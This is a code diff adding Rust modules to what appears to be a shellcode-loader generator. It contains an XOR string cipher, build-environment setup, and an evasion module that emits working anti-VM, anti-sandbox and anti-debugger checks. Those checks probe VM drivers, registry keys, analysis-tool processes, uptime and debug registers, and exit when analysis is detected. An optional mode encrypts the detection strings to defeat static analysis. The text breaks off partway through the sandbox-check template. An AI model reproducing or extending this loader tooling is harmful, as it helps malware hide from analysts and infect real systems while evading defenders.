diff --git a/src/encryption/xor_cipher.rs b/src/encryption/xor_cipher.rs
@@ -0,0 +1,117 @@
+use super::Encryptor;
+
+/// XOR cipher implementation
+pub struct XorEncryptor {
+ key: Vec<u8>,
+}
+
+impl XorEncryptor {
+ /// Creates a new XOR encryptor with the given key
+ pub fn new(key: &str) -> Self {
+ Self {
+ key: key.as_bytes().to_vec(),
+ }
+ }
+}
+
+impl Encryptor for XorEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if self.key.is_empty() {
+ return Err("Key cannot be empty".to_string());
+ }
+
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &byte)| byte ^ self.key[i % self.key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ // XOR encryption is symmetric
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ self.key.len()
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "XOR"
+ }
+
+ fn uses_iv(&self) -> bool {
+ false // XOR doesn't use IV
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts XOR encrypted data using the provided key
+///
+/// Returns decrypted bytes.
+pub fn decrypt_xor(data: &[u8], key: &[u8]) -> Vec<u8> {
+ xor_bytes(data, key)
+}"#
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_xor_encrypt_decrypt() {
+ let encryptor = XorEncryptor::new("secret-key");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_xor_different_keys() {
+ let encryptor1 = XorEncryptor::new("key1");
+ let encryptor2 = XorEncryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_xor_empty_data() {
+ let encryptor = XorEncryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ assert_eq!(encrypted.len(), 0);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_xor_empty_key() {
+ let encryptor = XorEncryptor::new("");
+ let data = b"test";
+
+ let result = encryptor.encrypt(data);
+ assert!(result.is_err());
+ }
+
+ #[test]
+ fn test_xor_long_data() {
+ let encryptor = XorEncryptor::new("short");
+ let plaintext = b"This is a much longer message that exceeds the key length";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
diff --git a/src/env_setup.rs b/src/env_setup.rs
@@ -0,0 +1,191 @@
+//! Environment Setup Module
+//!
+//! Handles the initialization and setup of the build environment for generating
+//! shellcode loaders. This includes verifying prerequisites, creating temporary
+//! directories, and managing the working directory.
+//!
+//! # Workflow
+//!
+//! 1. Verify cargo is installed and accessible
+//! 2. Create a unique temporary directory for the build
+//! 3. Change the working directory to the temp location
+//!
+//! # Safety
+//!
+//! Functions that modify the working directory are not thread-safe. Tests that
+//! use these functions must serialize using `TEST_DIR_MUTEX` to prevent race
+//! conditions.
+//!
+//! # Example
+//!
+//! ```no_run
+//! use myph_v2::env_setup::setup_environment;
+//!
+//! let temp_dir = setup_environment().expect("Failed to setup environment");
+//! println!("Build directory: {:?}", temp_dir);
+//! ```
+
+use std::env;
+use std::io;
+use std::path::PathBuf;
+use std::process::Command;
+
+/// Check if cargo is installed on the system
+///
+/// Returns `Ok(())` if cargo is installed and accessible via PATH,
+/// otherwise returns an error.
+pub fn check_cargo_installed() -> io::Result<()> {
+ let status = Command::new("cargo")
+ .arg("--version")
+ .stdout(std::process::Stdio::null())
+ .stderr(std::process::Stdio::null())
+ .status()?;
+
+ if status.success() {
+ Ok(())
+ } else {
+ Err(io::Error::new(
+ io::ErrorKind::NotFound,
+ "cargo command failed to execute",
+ ))
+ }
+}
+
+/// Create a temporary directory and return its path
+///
+/// Creates a new temporary directory with a unique name in the system temp directory.
+/// Note: The directory will NOT be automatically cleaned up and must be
+/// manually removed when no longer needed.
+///
+/// Returns the path to the newly created temporary directory.
+pub fn create_temp_directory() -> io::Result<PathBuf> {
+ let base_temp_dir = env::temp_dir();
+
+ let unique_dir = base_temp_dir.join(format!("myph-{}", rand::random::<u32>()));
+
+ std::fs::create_dir_all(&unique_dir)?;
+
+ Ok(unique_dir)
+}
+
+/// Change the current working directory to the specified path
+///
+/// # Arguments
+///
+/// * `path` - The path to change to
+///
+/// Returns `Ok(())` if successful, otherwise returns an error.
+pub fn change_working_directory(path: &PathBuf) -> io::Result<()> {
+ env::set_current_dir(path)?;
+ Ok(())
+}
+
+/// Setup the environment for running the application
+///
+/// This function performs the following steps:
+/// 1. Checks if cargo is installed
+/// 2. Creates a temporary directory
+/// 3. Changes the working directory to the temporary directory
+///
+/// Returns the path to the temporary directory if successful,
+/// otherwise returns an error describing what went wrong.
+pub fn setup_environment() -> io::Result<PathBuf> {
+ check_cargo_installed().map_err(|e| {
+ io::Error::new(
+ io::ErrorKind::NotFound,
+ format!("cargo is not installed or not in PATH: {}", e),
+ )
+ })?;
+
+ let temp_dir = create_temp_directory()?;
+
+ change_working_directory(&temp_dir)?;
+
+ Ok(temp_dir)
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::TEST_DIR_MUTEX;
+ use std::env;
+
+ #[test]
+ fn test_check_cargo_installed() {
+ // This test assumes cargo is installed in the test environment
+ let result = check_cargo_installed();
+ assert!(
+ result.is_ok(),
+ "cargo should be installed in test environment"
+ );
+ }
+
+ #[test]
+ fn test_create_temp_directory() {
+ let result = create_temp_directory();
+ assert!(result.is_ok(), "should be able to create temp directory");
+
+ let temp_path = result.unwrap();
+ assert!(temp_path.exists(), "temp directory should exist");
+ assert!(temp_path.is_dir(), "temp path should be a directory");
+
+ // Clean up
+ let _ = std::fs::remove_dir_all(&temp_path);
+ }
+
+ #[test]
+ fn test_change_working_directory() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ // Save current directory
+ let original_dir = env::current_dir().unwrap();
+
+ // Create a temp directory
+ let temp_dir = create_temp_directory().unwrap();
+
+ // Change to it
+ let result = change_working_directory(&temp_dir);
+ assert!(result.is_ok(), "should be able to change directory");
+
+ // Verify we're in the new directory
+ let current_dir = env::current_dir().unwrap();
+ assert_eq!(current_dir, temp_dir, "should be in temp directory");
+
+ // Clean up - change back to original directory
+ let _ = env::set_current_dir(&original_dir);
+ let _ = std::fs::remove_dir_all(&temp_dir);
+ }
+
+ #[test]
+ fn test_setup_environment() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ // Save current directory
+ let original_dir = env::current_dir().unwrap();
+
+ // Run setup
+ let result = setup_environment();
+ assert!(result.is_ok(), "setup_environment should succeed");
+
+ let temp_dir = result.unwrap();
+ assert!(temp_dir.exists(), "temp directory should exist");
+
+ // Verify we changed to the temp directory
+ let current_dir = env::current_dir().unwrap();
+ assert_eq!(current_dir, temp_dir, "should be in temp directory");
+
+ // Clean up
+ let _ = env::set_current_dir(&original_dir);
+ let _ = std::fs::remove_dir_all(&temp_dir);
+ }
+
+ #[test]
+ fn test_change_to_nonexistent_directory() {
+ let nonexistent_path = env::temp_dir().join("definitely-does-not-exist-123456789");
+ let result = change_working_directory(&nonexistent_path);
+ assert!(
+ result.is_err(),
+ "should fail to change to nonexistent directory"
+ );
+ }
+}
diff --git a/src/evasion.rs b/src/evasion.rs
@@ -0,0 +1,996 @@
+// Evasion module - Anti-analysis detection functions
+//
+// String encryption is now supported for evasion checks when --with-string-encryption is enabled.
+// Static strings (registry paths, DLL names, process names, etc.) are encrypted at build time
+// and decrypted at runtime to prevent static analysis.
+//
+// UPDATE 2026-01-01: Extern declarations have been centralized and string encryption implemented.
+
+/// Generate centralized extern declarations for evasion checks
+pub fn generate_evasion_externs() -> String {
+ r#"
+#[repr(C)]
+struct MemoryStatusEx {
+ length: u32,
+ memory_load: u32,
+ total_phys: u64,
+ avail_phys: u64,
+ total_page_file: u64,
+ avail_page_file: u64,
+ total_virtual: u64,
+ avail_virtual: u64,
+ avail_extended_virtual: u64,
+}
+
+#[repr(C)]
+struct LastInputInfo {
+ size: u32,
+ time: u32,
+}
+
+#[repr(C)]
+struct Context {
+ context_flags: u32,
+ dr0: usize,
+ dr1: usize,
+ dr2: usize,
+ dr3: usize,
+ dr6: usize,
+ dr7: usize,
+ _padding: [u8; 512],
+}
+
+#[link(name = "kernel32")]
+extern "system" {
+ fn GetModuleHandleA(module_name: *const i8) -> *mut std::ffi::c_void;
+ fn IsDebuggerPresent() -> i32;
+ fn CheckRemoteDebuggerPresent(
+ process: *mut std::ffi::c_void,
+ present: *mut i32,
+ ) -> i32;
+ fn GetCurrentProcess() -> *mut std::ffi::c_void;
+ fn GetCurrentThread() -> *mut std::ffi::c_void;
+ fn GetThreadContext(
+ thread: *mut std::ffi::c_void,
+ context: *mut Context,
+ ) -> i32;
+ fn GlobalMemoryStatusEx(buffer: *mut MemoryStatusEx) -> i32;
+ fn GetTickCount() -> u32;
+ fn GetTickCount64() -> u64;
+}
+
+#[link(name = "user32")]
+extern "system" {
+ fn GetLastInputInfo(info: *mut LastInputInfo) -> i32;
+}
+
+#[link(name = "ntdll")]
+extern "system" {
+ fn NtQueryInformationProcess(
+ process_handle: *mut std::ffi::c_void,
+ process_information_class: u32,
+ process_information: *mut std::ffi::c_void,
+ process_information_length: u32,
+ return_length: *mut u32,
+ ) -> i32;
+}
+"#
+ .to_string()
+}
+
+pub fn anti_vm_checks() -> String {
+ r#"
+fn check_vm_artifacts() -> bool {
+ unsafe {
+ let vm_dlls = [
+ b"vmGuestLib.dll\0".as_ptr() as *const i8,
+ b"vboxmrxnp.dll\0".as_ptr() as *const i8,
+ b"VBoxHook.dll\0".as_ptr() as *const i8,
+ b"vmmouse.sys\0".as_ptr() as *const i8,
+ b"vmhgfs.dll\0".as_ptr() as *const i8,
+ ];
+
+ for dll in vm_dlls.iter() {
+ if !GetModuleHandleA(*dll).is_null() {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn check_vm_registry() -> bool {
+ use std::process::Command;
+
+ let vm_keys = [
+ r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
+ r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
+ r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
+ r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
+ r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
+ r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
+ ];
+
+ for key in vm_keys.iter() {
+ if let Ok(output) = Command::new("reg").args(&["query", key]).output() {
+ if output.status.success() {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn check_vm_processes() -> bool {
+ use std::process::Command;
+
+ let vm_processes = [
+ "vmtoolsd.exe",
+ "vmwaretray.exe",
+ "vmwareuser.exe",
+ "VGAuthService.exe",
+ "vmacthlp.exe",
+ "vboxservice.exe",
+ "vboxtray.exe",
+ "xenservice.exe",
+ "qemu-ga.exe",
+ ];
+
+ if let Ok(output) = Command::new("tasklist").output() {
+ let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+ for process in vm_processes.iter() {
+ if output_str.contains(&process.to_lowercase()) {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn check_vm_cpu_count() -> bool {
+ use std::env;
+
+ if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {
+ if let Ok(count) = num_cpus.parse::<u32>() {
+ if count < 2 {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn check_vm_memory() -> bool {
+ unsafe {
+ let mut meminfo = MemoryStatusEx {
+ length: std::mem::size_of::<MemoryStatusEx>() as u32,
+ memory_load: 0,
+ total_phys: 0,
+ avail_phys: 0,
+ total_page_file: 0,
+ avail_page_file: 0,
+ total_virtual: 0,
+ avail_virtual: 0,
+ avail_extended_virtual: 0,
+ };
+
+ if GlobalMemoryStatusEx(&mut meminfo) != 0 {
+ let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
+ if total_ram_gb < 2 {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn check_vm_firmware() -> bool {
+ use std::process::Command;
+
+ if let Ok(output) = Command::new("wmic")
+ .args(&["bios", "get", "manufacturer"])
+ .output()
+ {
+ let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+ let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
+ for vendor in vm_vendors.iter() {
+ if output_str.contains(vendor) {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn detect_vm() -> bool {
+ check_vm_artifacts()
+ || check_vm_registry()
+ || check_vm_processes()
+ || check_vm_cpu_count()
+ || check_vm_memory()
+ || check_vm_firmware()
+}
+"#
+ .to_string()
+}
+
+pub fn anti_sandbox_checks() -> String {
+ r#"
+fn check_sandbox_user_interaction() -> bool {
+ use std::time::{Duration, Instant};
+
+ unsafe {
+ let mut info = LastInputInfo {
+ size: std::mem::size_of::<LastInputInfo>() as u32,
+ time: 0,
+ };
+
+ if GetLastInputInfo(&mut info) != 0 {
+ let current_time = GetTickCount();
+ let idle_time = current_time - info.time;
+ if idle_time < 60000 {
+ return false;
+ }
+ }
+ }
+ true
+}
+
+fn check_sandbox_timing() -> bool {
+ use std::time::Instant;
+
+ let iterations = 10;
+ let mut timings = Vec::new();
+
+ for _ in 0..iterations {
+ let start = Instant::now();
+ let mut sum = 0u64;
+ for i in 0..100000 {
+ sum = sum.wrapping_add(i);
+ }
+ let elapsed = start.elapsed().as_nanos();
+ timings.push(elapsed);
+ }
+
+ if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {
+ if avg < 1000 {
+ return true;
+ }
+ }
+ false
+}
+
+fn check_sandbox_file_count() -> bool {
+ use std::fs;
+
+ if let Ok(entries) = fs::read_dir("C:\\Windows\\System32") {
+ let count = entries.count();
+ if count < 100 {
+ return true;
+ }
+ }
+ false
+}
+
+fn check_sandbox_uptime() -> bool {
+ unsafe {
+ let uptime_ms = GetTickCount64();
+ let uptime_minutes = uptime_ms / (1000 * 60);
+ if uptime_minutes < 10 {
+ return true;
+ }
+ }
+ false
+}
+
+fn check_sandbox_recent_files() -> bool {
+ use std::fs;
+ use std::path::PathBuf;
+
+ if let Ok(appdata) = std::env::var("APPDATA") {
+ let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
+ if let Ok(entries) = fs::read_dir(recent_path) {
+ let count = entries.count();
+ if count < 5 {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn detect_sandbox() -> bool {
+ check_sandbox_user_interaction()
+ || check_sandbox_timing()
+ || check_sandbox_file_count()
+ || check_sandbox_uptime()
+ || check_sandbox_recent_files()
+}
+"#
+ .to_string()
+}
+
+pub fn anti_debugger_checks() -> String {
+ r#"
+fn check_debugger_present() -> bool {
+ unsafe {
+ IsDebuggerPresent() != 0
+ }
+}
+
+fn check_remote_debugger() -> bool {
+ unsafe {
+ let mut is_present: i32 = 0;
+ let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
+ result != 0 && is_present != 0
+ }
+}
+
+fn check_debug_port() -> bool {
+ unsafe {
+ let mut debug_port: usize = 0;
+ let status = NtQueryInformationProcess(
+ GetCurrentProcess(),
+ 7,
+ &mut debug_port as *mut usize as *mut std::ffi::c_void,
+ std::mem::size_of::<usize>() as u32,
+ std::ptr::null_mut(),
+ );
+
+ status == 0 && debug_port != 0
+ }
+}
+
+fn check_hardware_breakpoints() -> bool {
+ unsafe {
+ let mut context = Context {
+ context_flags: 0x00010000 | 0x00000010,
+ dr0: 0,
+ dr1: 0,
+ dr2: 0,
+ dr3: 0,
+ dr6: 0,
+ dr7: 0,
+ _padding: [0; 512],
+ };
+
+ if GetThreadContext(GetCurrentThread(), &mut context) != 0 {
+ if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn check_parent_process() -> bool {
+ use std::process::Command;
+
+ if let Ok(output) = Command::new("tasklist")
+ .args(&["/v", "/fo", "csv"])
+ .output()
+ {
+ let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+ let debugger_parents = ["devenv.exe", "windbg.exe", "x64dbg.exe", "ollydbg.exe", "ida64.exe"];
+ for parent in debugger_parents.iter() {
+ if output_str.contains(parent) {
+ return true;
+ }
+ }
+ }
+ false
+}
+
+fn detect_debugger() -> bool {
+ check_debugger_present()
+ || check_remote_debugger()
+ || check_debug_port()
+ || check_hardware_breakpoints()
+ || check_parent_process()
+}
+"#
+ .to_string()
+}
+
+pub fn generate_evasion_check_call(
+ anti_vm: bool,
+ anti_sandbox: bool,
+ anti_debugger: bool,
+) -> String {
+ let mut checks = Vec::new();
+
+ if anti_vm {
+ checks.push("detect_vm()");
+ }
+ if anti_sandbox {
+ checks.push("detect_sandbox()");
+ }
+ if anti_debugger {
+ checks.push("detect_debugger()");
+ }
+
+ if checks.is_empty() {
+ return String::new();
+ }
+
+ format!(
+ r#"
+ if {} {{
+ std::process::exit(1);
+ }}
+"#,
+ checks.join(" || ")
+ )
+}
+
+/// Generate anti-VM checks with encrypted strings
+pub fn anti_vm_checks_with_encryption(
+ vm_dll_arrays: &[String],
+ vm_registry_arrays: &[String],
+ vm_process_arrays: &[String],
+ vm_vendor_arrays: &[String],
+ decrypt_fn: &str,
+ expect_clause: &str,
+) -> String {
+ format!(
+ r#"
+fn check_vm_artifacts() -> bool {{
+ unsafe {{
+ const ENCRYPTED_VM_DLL_0: &[u8] = &{};
+ const ENCRYPTED_VM_DLL_1: &[u8] = &{};
+ const ENCRYPTED_VM_DLL_2: &[u8] = &{};
+ const ENCRYPTED_VM_DLL_3: &[u8] = &{};
+ const ENCRYPTED_VM_DLL_4: &[u8] = &{};
+
+ let dll_0 = {}(ENCRYPTED_VM_DLL_0, &DECRYPTION_KEY){};
+ let dll_1 = {}(ENCRYPTED_VM_DLL_1, &DECRYPTION_KEY){};
+ let dll_2 = {}(ENCRYPTED_VM_DLL_2, &DECRYPTION_KEY){};
+ let dll_3 = {}(ENCRYPTED_VM_DLL_3, &DECRYPTION_KEY){};
+ let dll_4 = {}(ENCRYPTED_VM_DLL_4, &DECRYPTION_KEY){};
+
+ let vm_dlls = [
+ dll_0.as_ptr() as *const i8,
+ dll_1.as_ptr() as *const i8,
+ dll_2.as_ptr() as *const i8,
+ dll_3.as_ptr() as *const i8,
+ dll_4.as_ptr() as *const i8,
+ ];
+
+ for dll in vm_dlls.iter() {{
+ if !GetModuleHandleA(*dll).is_null() {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn check_vm_registry() -> bool {{
+ use std::process::Command;
+
+ const ENCRYPTED_VM_KEY_0: &[u8] = &{};
+ const ENCRYPTED_VM_KEY_1: &[u8] = &{};
+ const ENCRYPTED_VM_KEY_2: &[u8] = &{};
+ const ENCRYPTED_VM_KEY_3: &[u8] = &{};
+ const ENCRYPTED_VM_KEY_4: &[u8] = &{};
+ const ENCRYPTED_VM_KEY_5: &[u8] = &{};
+
+ let key_0 = {}(ENCRYPTED_VM_KEY_0, &DECRYPTION_KEY){};
+ let key_1 = {}(ENCRYPTED_VM_KEY_1, &DECRYPTION_KEY){};
+ let key_2 = {}(ENCRYPTED_VM_KEY_2, &DECRYPTION_KEY){};
+ let key_3 = {}(ENCRYPTED_VM_KEY_3, &DECRYPTION_KEY){};
+ let key_4 = {}(ENCRYPTED_VM_KEY_4, &DECRYPTION_KEY){};
+ let key_5 = {}(ENCRYPTED_VM_KEY_5, &DECRYPTION_KEY){};
+
+ let vm_keys = [
+ String::from_utf8_lossy(&key_0).to_string(),
+ String::from_utf8_lossy(&key_1).to_string(),
+ String::from_utf8_lossy(&key_2).to_string(),
+ String::from_utf8_lossy(&key_3).to_string(),
+ String::from_utf8_lossy(&key_4).to_string(),
+ String::from_utf8_lossy(&key_5).to_string(),
+ ];
+
+ for key in vm_keys.iter() {{
+ if let Ok(output) = Command::new("reg").args(&["query", key]).output() {{
+ if output.status.success() {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn check_vm_processes() -> bool {{
+ use std::process::Command;
+
+ const ENCRYPTED_VM_PROC_0: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_1: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_2: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_3: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_4: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_5: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_6: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_7: &[u8] = &{};
+ const ENCRYPTED_VM_PROC_8: &[u8] = &{};
+
+ let proc_0 = {}(ENCRYPTED_VM_PROC_0, &DECRYPTION_KEY){};
+ let proc_1 = {}(ENCRYPTED_VM_PROC_1, &DECRYPTION_KEY){};
+ let proc_2 = {}(ENCRYPTED_VM_PROC_2, &DECRYPTION_KEY){};
+ let proc_3 = {}(ENCRYPTED_VM_PROC_3, &DECRYPTION_KEY){};
+ let proc_4 = {}(ENCRYPTED_VM_PROC_4, &DECRYPTION_KEY){};
+ let proc_5 = {}(ENCRYPTED_VM_PROC_5, &DECRYPTION_KEY){};
+ let proc_6 = {}(ENCRYPTED_VM_PROC_6, &DECRYPTION_KEY){};
+ let proc_7 = {}(ENCRYPTED_VM_PROC_7, &DECRYPTION_KEY){};
+ let proc_8 = {}(ENCRYPTED_VM_PROC_8, &DECRYPTION_KEY){};
+
+ if let Ok(output) = Command::new("tasklist").output() {{
+ let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+ let vm_processes = [
+ String::from_utf8_lossy(&proc_0).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_1).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_2).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_3).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_4).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_5).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_6).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_7).to_string().to_lowercase(),
+ String::from_utf8_lossy(&proc_8).to_string().to_lowercase(),
+ ];
+ for process in vm_processes.iter() {{
+ if output_str.contains(process) {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn check_vm_cpu_count() -> bool {{
+ use std::env;
+
+ if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {{
+ if let Ok(count) = num_cpus.parse::<u32>() {{
+ if count < 2 {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn check_vm_memory() -> bool {{
+ unsafe {{
+ let mut meminfo = MemoryStatusEx {{
+ length: std::mem::size_of::<MemoryStatusEx>() as u32,
+ memory_load: 0,
+ total_phys: 0,
+ avail_phys: 0,
+ total_page_file: 0,
+ avail_page_file: 0,
+ total_virtual: 0,
+ avail_virtual: 0,
+ avail_extended_virtual: 0,
+ }};
+
+ if GlobalMemoryStatusEx(&mut meminfo) != 0 {{
+ let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
+ if total_ram_gb < 2 {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn check_vm_firmware() -> bool {{
+ use std::process::Command;
+
+ const ENCRYPTED_VM_VENDOR_0: &[u8] = &{};
+ const ENCRYPTED_VM_VENDOR_1: &[u8] = &{};
+ const ENCRYPTED_VM_VENDOR_2: &[u8] = &{};
+ const ENCRYPTED_VM_VENDOR_3: &[u8] = &{};
+ const ENCRYPTED_VM_VENDOR_4: &[u8] = &{};
+
+ let vendor_0 = {}(ENCRYPTED_VM_VENDOR_0, &DECRYPTION_KEY){};
+ let vendor_1 = {}(ENCRYPTED_VM_VENDOR_1, &DECRYPTION_KEY){};
+ let vendor_2 = {}(ENCRYPTED_VM_VENDOR_2, &DECRYPTION_KEY){};
+ let vendor_3 = {}(ENCRYPTED_VM_VENDOR_3, &DECRYPTION_KEY){};
+ let vendor_4 = {}(ENCRYPTED_VM_VENDOR_4, &DECRYPTION_KEY){};
+
+ if let Ok(output) = Command::new("wmic")
+ .args(&["bios", "get", "manufacturer"])
+ .output()
+ {{
+ let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+ let vm_vendors = [
+ String::from_utf8_lossy(&vendor_0).to_string().to_lowercase(),
+ String::from_utf8_lossy(&vendor_1).to_string().to_lowercase(),
+ String::from_utf8_lossy(&vendor_2).to_string().to_lowercase(),
+ String::from_utf8_lossy(&vendor_3).to_string().to_lowercase(),
+ String::from_utf8_lossy(&vendor_4).to_string().to_lowercase(),
+ ];
+ for vendor in vm_vendors.iter() {{
+ if output_str.contains(vendor) {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn detect_vm() -> bool {{
+ check_vm_artifacts()
+ || check_vm_registry()
+ || check_vm_processes()
+ || check_vm_cpu_count()
+ || check_vm_memory()
+ || check_vm_firmware()
+}}
+"#,
+ vm_dll_arrays[0],
+ vm_dll_arrays[1],
+ vm_dll_arrays[2],
+ vm_dll_arrays[3],
+ vm_dll_arrays[4],
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ vm_registry_arrays[0],
+ vm_registry_arrays[1],
+ vm_registry_arrays[2],
+ vm_registry_arrays[3],
+ vm_registry_arrays[4],
+ vm_registry_arrays[5],
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ vm_process_arrays[0],
+ vm_process_arrays[1],
+ vm_process_arrays[2],
+ vm_process_arrays[3],
+ vm_process_arrays[4],
+ vm_process_arrays[5],
+ vm_process_arrays[6],
+ vm_process_arrays[7],
+ vm_process_arrays[8],
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ vm_vendor_arrays[0],
+ vm_vendor_arrays[1],
+ vm_vendor_arrays[2],
+ vm_vendor_arrays[3],
+ vm_vendor_arrays[4],
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ )
+}
+
+/// Generate anti-sandbox checks with encrypted strings
+pub fn anti_sandbox_checks_with_encryption(
+ file_path_array: &str,
+ decrypt_fn: &str,
+ expect_clause: &str,
+) -> String {
+ format!(
+ r#"
+fn check_sandbox_user_interaction() -> bool {{
+ use std::time::{{Duration, Instant}};
+
+ unsafe {{
+ let mut info = LastInputInfo {{
+ size: std::mem::size_of::<LastInputInfo>() as u32,
+ time: 0,
+ }};
+
+ if GetLastInputInfo(&mut info) != 0 {{
+ let current_time = GetTickCount();
+ let idle_time = current_time - info.time;
+ if idle_time < 60000 {{
+ return false;
+ }}
+ }}
+ }}
+ true
+}}
+
+fn check_sandbox_timing() -> bool {{
+ use std::time::Instant;
+
+ let iterations = 10;
+ let mut timings = Vec::new();
+
+ for _ in 0..iterations {{
+ let start = Instant::now();
+ let mut sum = 0u64;
+ for i in 0..100000 {{
+ sum = sum.wrapping_add(i);
+ }}
+ let elapsed = start.elapsed().as_nanos();
+ timings.push(elapsed);
+ }}
+
+ if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {{
+ if avg < 1000 {{
+ return true;
+ }}
+ }}
+ false
+}}
+
+fn check_sandbox_file_count() -> bool {{
+ use std::fs;
+
+ const ENCRYPTED_FILE_PATH: &[u8] = &{};
+ let file_path = {}(ENCRYPTED_FILE_PATH, &DECRYPTION_KEY){};
+ let file_path_str = String::from_utf8_lossy(&file_path).to_string();
+
+ if let Ok(entries) = fs::read_dir(&file_path_str) {{
+ let count = entries.count();
+ if count < 100 {{
+ return true;
+ }}
+ }}
+ false
+}}
+
+fn check_sandbox_uptime() -> bool {{
+ unsafe {{
+ let uptime_ms = GetTickCount64();
+ let uptime_minutes = uptime_ms / (1000 * 60);
+ if uptime_minutes < 10 {{
+ return true;
+ }}
+ }}
+ false
+}}
+
+fn check_sandbox_recent_files() -> bool {{
+ use std::fs;
+ use std::path::PathBuf;
+
+ if let Ok(appdata) = std::env::var("APPDATA") {{
+ let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
+ if let Ok(entries) = fs::read_dir(recent_path) {{
+ let count = entries.count();
+ if count < 5 {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn detect_sandbox() -> bool {{
+ check_sandbox_user_interaction()
